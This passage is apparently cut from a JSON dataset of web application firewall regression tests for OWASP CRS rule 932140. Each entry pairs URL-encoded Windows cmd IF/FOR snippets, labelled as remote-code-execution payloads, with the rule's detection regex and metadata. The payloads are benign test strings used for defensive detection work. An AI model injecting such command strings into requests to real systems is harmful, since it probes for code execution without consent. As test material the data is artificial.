"negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+NOT+EXIST+%22temp.txt%22+ECHO+not+found" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%22%25var%25%22%3D%3D%22%22+%28SET+var%3Ddefault+value%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+NOT+DEFINED+var+%28SET+var%3Ddefault+value%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%22%25var%25%22%3D%3D%22Hello%2C+World%21%22+%28ECHO+found%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25var%25%22%3D%3D%22hello%2C+world%21%22+%28+ECHO+found+%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25var%25%22+EQU+%221%22+ECHO+equality+with+1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25var%25%22+NEQ+%220%22+ECHO+inequality+with+0" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25var%25%22+GEQ+%221%22+ECHO+greater+than+or+equal+to+1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25var%25%22+LEQ+%221%22+ECHO+less+than+or+equal+to+1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+%2FI+%22%25ERRORLEVEL%25%22+NEQ+%220%22+%28ECHO+execution+failed%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+%251+%3D%3D+%22%22+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+%22%251%22+%3D%3D+%22%22+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+%7B%251%7D+%3D%3D+%7B%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+not+%22A%251%22+%3D%3D+%22A%22+%28" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=IF+DEFINED+ARG+%28echo+%22It+is+defined%3A+%251%22%29+ELSE+%28echo+%22%25%251+is+not+defined%22%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if3q+hfy6e8egfxsjtewc838gsfbhwvw9qzfty3gjs86syg7y6mrpwgw4ekureakjpk6%2Flyghe9pnfekpw2yt8svzseinhs1rbkuu%2Fzq15u5wh8nj8dd+fn86qcdwzv3s9hw35e14pxgcv34dhmt1mwbxnicwudjawfqz+fphmr5vlnufdihoffpuvqwkcmom61i3lisyxg65fx+rgbnrs6e4pmbvy2xl+vwb8oct23cyypregi638dkychllvvw5kq7rolfbhk3hojxz9tthunqky9dodqbb6u8roh+firwx8kuf1dfgewcto9eljhuaoqgdk4qwxlziktaf1mw2atcmw7jvzsh1s0kngiepps54lj4wtcbfzfvbqb7y3caffhnvfrm3tbjxlywqakfqxoprh7yooguat5flg2ozx5%2Fafn7w%3D%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if%2Fi+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%2Fi+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%2Fi+%22a%22%3D%3D%22b%22++foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%2Fi+not++%22a%22%3D%3D%22b%22++foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+++exist+StorageServer.port+echo+yay" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if+%2Fi+exist+StorageServer.port+echo+yay" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=ifq+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=iffoo+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if3+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=if3q+a%3D%3Db+foo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "imported test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "if+foo==" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\b(?:for(?:/[dflr].*)? %+[^ ]+ in\\(.*\\)[\\s\\x0b]?do|if(?:/i)?(?: not)?(?: (?:e(?:xist|rrorlevel)|defined|cmdextversion)\\b|[ \\(].*(?:\\b(?:g(?:eq|tr)|equ|neq|l(?:eq|ss))\\b|==)))", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932140", "test_description": "FP when using `t:urlDecodeUni`.\nUsing `t:urlDecodeUni` removes the `+` from the encoded value in the XML document,\nwhich produced a false positive match.\nSee https://github.com/coreruleset/coreruleset/issues/1785\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-1=%7E%2B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", 